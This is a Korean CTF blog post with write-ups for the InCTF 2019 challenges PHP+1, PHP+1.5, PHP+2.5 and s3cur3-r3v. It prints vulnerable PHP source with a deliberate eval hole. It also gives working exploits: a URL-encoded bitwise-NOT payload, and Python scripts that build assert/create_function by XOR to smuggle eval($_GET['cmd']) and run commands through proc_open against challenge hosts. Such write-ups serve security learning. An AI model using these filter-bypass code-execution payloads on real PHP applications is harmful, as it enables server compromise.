Copy-Cat
해당 문제는 개인적으로 재밌게 푼 문제라 자세하게 적어볼겸 팀 블로그에 작성하였습니다.
https://defenit.kr/2019/09/24/Web/%E3%84%B4%20WriteUps/InCTF_2019_Copy-Cat_Writeup/
PHP+1
source.php
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
특문 필터가 안걸려있어서 그냥 ~로 비트연산해서 assert,eval 써준 담에 proc_open 써주면 된다.
payload = /?thisfile=/etc/&input=${~%A0%B8%BA%AB}{0}(${~%A0%B8%BA%AB}{1});&0=assert&1=eval($_GET[2])&2=%24%64%65%73%63%72%3d%61%72%72%61%79%28%30%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%22%72%22%29%2c%31%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%22%77%22%29%2c%32%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%22%77%22%0d%0a%20%20%20%20%20%20%20%20%29%0d%0a%20%20%20%20%29%3b%0d%0a%20%20%20%20%24%70%69%70%65%73%20%3d%20%61%72%72%61%79%28%29%3b%0d%0a%20%20%20%20%24%70%72%6f%63%65%73%73%20%3d%20%70%72%6f%63%5f%6f%70%65%6e%28%22%2f%72%65%61%64%46%6c%61%67%22%2c%20%24%64%65%73%63%72%2c%20%24%70%69%70%65%73%29%3b%0d%0a%20%20%20%20%69%66%20%28%69%73%5f%72%65%73%6f%75%72%63%65%28%24%70%72%6f%63%65%73%73%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%24%66%20%3d%20%66%67%65%74%73%28%24%70%69%70%65%73%5b%31%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%2d%70%69%70%65%20%31%2d%2d%2d%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%24%66%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%66%63%6c%6f%73%65%28%24%70%69%70%65%73%5b%31%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%24%66%20%3d%20%66%67%65%74%73%28%24%70%69%70%65%73%5b%32%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%2d%70%69%70%65%20%32%2d%2d%2d%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%24%66%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%66%63%6c%6f%73%65%28%24%70%69%70%65%73%5b%32%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%70%72%6f%63%5f%63%6c%6f%73%65%28%24%70%72%6f%63%65%73%73%29%3b%0d%0a%7d%0d%0a
PHP+1.5
source.php
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
특문 필터가 추가됬다. 근데 비트연산 중 ^가 필터 안된다. 이걸로 assert랑 eval만들어서 실행해주면 되고 그담엔 똑같이 proc_open 써주면 된다.
exploit.py
import requests
import urllib
def generate_string(input):
result_1 = ""
result_2 = ""
for k in range(0,len(input)):
for i in range(127,256):
break_flag = 0
for j in range(127,256):
if (i^j)==ord(input[k]):
result_1 += "%" + hex(i)[2:]
result_2 += "%" + hex(j)[2:]
break_flag = 1
break
if break_flag==1:
break
return result_1 + "^" + result_2
def exploit(payload,shell_command):
url = "http://18.223.159.46/"
params = {"thisfile":"/etc/","input":payload,"cmd":shell_command}
result = requests.get(url,params=params).text
print result
return result
payload = "$a="+generate_string("assert")+";"
payload += "$a("+generate_string("eval($_GET['cmd']);")+");"
shell_command = """
$descr=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe",
"w"
)
);
$pipes = array();
$process = proc_open("/readFlag", $descr, $pipes);
if (is_resource($process)) {
while ($f = fgets($pipes[1])) {
echo "-pipe 1--->";
echo $f;
}
fclose($pipes[1]);
while ($f = fgets($pipes[2])) {
echo "-pipe 2--->";
echo $f;
}
fclose($pipes[2]);
proc_close($process);
}
"""
exploit(urllib.unquote(payload),shell_command)
PHP+2.5
source.php
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
if(strlen($input)>100){ #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
1.5에서 문자열 길이 제한이 추가됬다. 근데이건 이전 문제에서 쓴것도 애초에 길이제한 안걸리는 방식으로 풀어서 문제가 안된다. 해당 문제는 사실 중간에 2.0버전이 있었고 2.5버전이 2.0버전 업그레이드 버전인 것 같은데 문제 출제하신분이 실수로 proc_open을 안막아놔서 언인텐으로 엄청 많이 풀린 것 같다. 실제로 2.0버전은 proc_open이 막혀있고 솔버가 1명인데 2.5버전은 해당 함수가 풀려있고 솔버가 훨씬 많다. 플래그 보면 세그먼트 폴트로 쉘 따는걸 의도하신 것 같은데 이건 따로 더 풀어봐야겠따.
익스는 2.0버전에서 assert가 안먹혀서 길이제한 맞춘다고 create_function 쓰던걸 그대로 썼다.
exploit.py
import requests
import urllib
def generate_string(input):
result_1 = ""
result_2 = ""
for k in range(0,len(input)):
for i in range(127,256):
break_flag = 0
for j in range(127,256):
if (i^j)==ord(input[k]):
result_1 += "%" + hex(i)[2:]
result_2 += "%" + hex(j)[2:]
break_flag = 1
break
if break_flag==1:
break
return result_1 + "^" + result_2
def exploit(payload,shell_command):
url = "http://3.16.218.96/"
params = {"thisfile":"/etc/","input":payload,"cmd":shell_command}
result = requests.get(url,params=params).text
print result
return result
payload = "$a="+generate_string("create_function")+";"
payload += "$a("+generate_string(" ")+","+generate_string("}eval($_GET['cmd']);//")+");"
shell_command = """
$descr=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe",
"w"
)
);
$pipes = array();
$process = proc_open("/readFlag", $descr, $pipes);
if (is_resource($process)) {
while ($f = fgets($pipes[1])) {
echo "-pipe 1--->";
echo $f;
}
fclose($pipes[1]);
while ($f = fgets($pipes[2])) {
echo "-pipe 2--->";
echo $f;
}
fclose($pipes[2]);
proc_close($process);
}
"""
exploit(urllib.unquote(payload),shell_command)
s3cur3-r3v
line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 2 0 E > NOP 51 1 FETCH_R global $1 '_GET' 2 FETCH_DIM_R $2 $1, 'flag' 3 ASSIGN !0, $2 53 4 FETCH_IS $4 '_GET' 5 ISSET_ISEMPTY_DIM_OBJ 33554432 ~5 $4, 'flag' 6 > JMPZ ~5, ->10 54 7 > INIT_FCALL 'printflag' 8 SEND_VAR !0 9 DO_FCALL 0 58 10 > > RETURN 1 line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 2 0 E > RECV !0 3 1 ASSIGN !1, 'Yaay+here+is+your+flag%3A+' 4 2 ASSIGN !2, 'Naay+try+harder+%21%21%21' 6 3 BIND_GLOBAL !3, 'flag' 8 4 ASSIGN !4, '' 10 5 ASSIGN !5, 32 6 > JMP ->13 12 7 > INIT_FCALL 'chr' 8 SEND_VAR !5 9 DO_ICALL $16 10 ASSIGN_CONCAT 0 !4, $16 10 11 POST_INC ~18 !5 12 FREE ~18 13 > IS_SMALLER ~19 !5, 97 14 > JMPNZ ~19, ->7 15 15 > STRLEN ~20 !0 16 MOD ~21 ~20, 4 17 IS_NOT_EQUAL ~22 ~21, 0 18 > JMPZ ~22, ->20 17 19 > > EXIT 'BAD+INPUT' 20 20 > STRLEN ~24 !0 21 MUL ~25 ~24, 3 22 DIV ~26 ~25, 4 23 INIT_FCALL 'strrpos' 24 SEND_VAR !0 25 SEND_VAL '%60' 26 DO_ICALL $27 27 IS_SMALLER ~28 0, $27 28 > JMPZ ~28, ->37 29 > STRLEN ~29 !0 30 INIT_FCALL 'strrpos' 31 SEND_VAR !0 32 SEND_VAL '%60' 33 DO_ICALL $30 34 SUB ~31 ~29, $30 35 QM_ASSIGN ~32 ~31 36 > JMP ->38 37 > QM_ASSIGN ~32 0 38 > SUB ~33 ~26, ~32 39 ASSIGN_DIM !6 40 OP_DATA ~33 21 41 INIT_FCALL 'str_split' 42 SEND_VAR !0 43 DO_ICALL $34 44 ASSIGN !7, $34 22 45 ASSIGN !8, 0 23 46 ASSIGN !9,24 47 ASSIGN !5, 0 48 > JMP ->110 25 49 > INIT_FCALL 'strpos' 50 SEND_VAR !4 51 FETCH_DIM_R $40 !7, !5 52 SEND_VAR $40 53 DO_ICALL $41 54 ASSIGN_DIM !9, 0 55 OP_DATA $41 26 56 INIT_FCALL 'strpos' 57 SEND_VAR !4 58 ADD ~43 !5, 1 59 FETCH_DIM_R $44 !7, ~43 60 SEND_VAR $44 61 DO_ICALL $45 62 ASSIGN_DIM !9, 1 63 OP_DATA $45 27 64 INIT_FCALL 'strpos' 65 SEND_VAR !4 66 ADD ~47 !5, 2 67 FETCH_DIM_R $48 !7, ~47 68 SEND_VAR $48 69 DO_ICALL $49 70 ASSIGN_DIM !9, 2 71 OP_DATA $49 28 72 INIT_FCALL 'strpos' 73 SEND_VAR !4 74 ADD ~51 !5, 3 75 FETCH_DIM_R $52 !7, ~51 76 SEND_VAR $52 77 DO_ICALL $53 78 ASSIGN_DIM !9, 3 79 OP_DATA $53 29 80 POST_INC ~54 !8 81 FETCH_DIM_R $56 !9, 0 82 SL ~57 $56, 2 83 FETCH_DIM_R $58 !9, 1 84 SR ~59 $58, 4 85 BW_OR ~60 ~57, ~59 86 ASSIGN_DIM !6, ~54 87 OP_DATA ~60 30 88 FETCH_DIM_R $61 !9, 2 89 IS_SMALLER ~62 $61, 64 90 > JMPZ ~62, ->109 31 91 > POST_INC ~63 !8 92 FETCH_DIM_R $65 !9, 1 93 SL ~66 $65, 4 94 FETCH_DIM_R $67 !9, 2 95 SR ~68 $67, 2 96 BW_OR ~69 ~66, ~68 97 ASSIGN_DIM !6, ~63 98 OP_DATA ~69 32 99 FETCH_DIM_R $70 !9, 3 100 IS_SMALLER ~71 $70, 64 101 > JMPZ ~71, ->109 33 102 > POST_INC ~72 !8 103 FETCH_DIM_R $74 !9, 2 104 SL ~75 $74, 6 105 FETCH_DIM_R $76 !9, 3 106 BW_OR ~77 ~75, $76 107 ASSIGN_DIM !6, ~72 108 OP_DATA ~77 24 109 > ASSIGN_ADD 0 !5, 4 110 > INIT_FCALL 'count' 111 SEND_VAR !7 112 DO_ICALL $79 113 IS_SMALLER ~80 !5, $79 114 > JMPNZ ~80, ->49 37 115 > ASSIGN !10, '' 38 116 ASSIGN !5, 0 117 > JMP ->125 40 118 > INIT_FCALL 'chr' 119 FETCH_DIM_R $83 !6, !5 120 SEND_VAR $83 121 DO_ICALL $84 122 ASSIGN_CONCAT 0 !10, $84 38 123 POST_INC ~86 !5 124 FREE ~86 125 > INIT_FCALL 'count' 126 SEND_VAR !6 127 DO_ICALL $87 128 IS_SMALLER ~88 !5, $87 129 > JMPNZ ~88, ->118 42 130 > ASSIGN !11, 'YtPEU%10E%24%19%5DV%11UE%92E%04%D8%5De%99%5D5RQ%25SAU%98YuVU%16%10e%85%D1I%96%13Y%96%17M%85%D6E%85%D6Q%04V' 43 131 IS_IDENTICAL ~90 !10, !11 132 > JMPZ ~90, ->136 44 133 > CONCAT ~91 !1, !3 134 ECHO ~91 135 > JMP ->137 47 136 > ECHO !2 49 137 > > RETURN null
zend engine opcode 분석 문제다. 해당 opcode를 한땀한땀 분석해서 php 코드로 변환한 뒤 코드 분석해서 플래그 띄우는 인풋 구해주면 된다.
change.php
<?php
function printflag($input){
$success_message = "Yaay+here+is+your+flag%3A+";
$fail_message = "Naay+try+harder+%21%21%21";
global $flag;
$string_list = "";
$string_count = 32;
for ($string_count; $string_count<97; $string_count++){
$string_list .= (string)chr($string_count);
}
$input_mod_4 = strlen($input) % 4;
if ($input_mod_4 != 0){
exit("BAD INPUT");
}
$input_new_length = strlen($input) * 3 / 4;
if(strrpos($input,"`")>0){
$check_input = strlen($input) - strrpos($input,"`");
}
else{
$check_input = 0;
}
$input_array = str_split($input);
$tmp_array = array();
$calc_input_count = 0;
for ($i=0; $i<count($input_array); $i+=4){
$tmp_array[0] = strpos($string_list,$input_array[$i]);
$tmp_array[1] = strpos($string_list,$input_array[$i+1]);
$tmp_array[2] = strpos($string_list,$input_array[$i+2]);
$tmp_array[3] = strpos($string_list,$input_array[$i+3]);
$calc_input_result_array[$calc_input_count] = ($tmp_array[0]<<2) | ($tmp_array[1]>>4);
$calc_input_count += 1;
if ($tmp_array[2]<64){
$calc_input_result_array[$calc_input_count] = ($tmp_array[1]<<4) | ($tmp_array[2]>>2);
$calc_input_count += 1;
}
else{
continue;
}
if ($tmp_array[3]<64){
$calc_input_result_array[$calc_input_count] = ($tmp_array[2]<<6) | ($tmp_array[3]);
$calc_input_count += 1;
}
}
$result = "";
var_dump($calc_input_result_array);
echo "\n";
for ($i=0;$i<count($calc_input_result_array);$i++){
$result.=chr($calc_input_result_array[$i]);
}
if ("YtPEU\x10E\x24\x19\x5DV\x11UE\x92E\x04\xD8\x5De\x99\x5D5RQ\x25SAU\x98YuVU\x16\x10e\x85\xD1I\x96\x13Y\x96\x17M\x85\xD6E\x85\xD6Q\x04V"==$result){
echo "suc";
}
else{
echo "fail";
}
}
$input = $_GET['flag'];
if (!isset($_GET['flag'])){
echo "not Exist Input";
return;
}
else{
printflag($input);
}
exploit.py
import requests
string_table = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`"""
enc_text = "YtPEU\x10E\x24\x19\x5DV\x11UE\x92E\x04\xD8\x5De\x99\x5D5RQ\x25SAU\x98YuVU\x16\x10e\x85\xD1I\x96\x13Y\x96\x17M\x85\xD6E\x85\xD6Q\x04V"
input = ""
for p in range(0,len(enc_text),3):
find_result = enc_text[p:p+3]
for i in range(0,65):
for j in range(0,65):
if ((i<<2) | (j>>4))%256 == ord(find_result[0]):
for k in range(0,64):
if ((j<<4) | (k>>2))%256 == ord(find_result[1]):
for a in range(0,64):
if ((k << 6) | a)%256 == ord(find_result[2]):
print "count " + str(p) + " = " + string_table[i]+string_table[j]+string_table[k]+string_table[a] + " -> " + find_result
input += string_table[i]+string_table[j]+string_table[k]+string_table[a]
print "Find Input = " + input
url ="http://3.15.186.35/?flag="+input
print requests.get(url).text
'CTF > Writeup' 카테고리의 다른 글
ASIS CTF 2019 Final Web Write up (0) | 2019.11.18 |
---|---|
CCE(사이버공격방어대회) 2019 Write up (0) | 2019.09.29 |
CSAW CTF 2019 Web Write up (0) | 2019.09.16 |
DefCamp CTF 2019 Web Write up (0) | 2019.09.09 |
2019 사이버작전 경연대회 THE CAMP (0) | 2019.08.17 |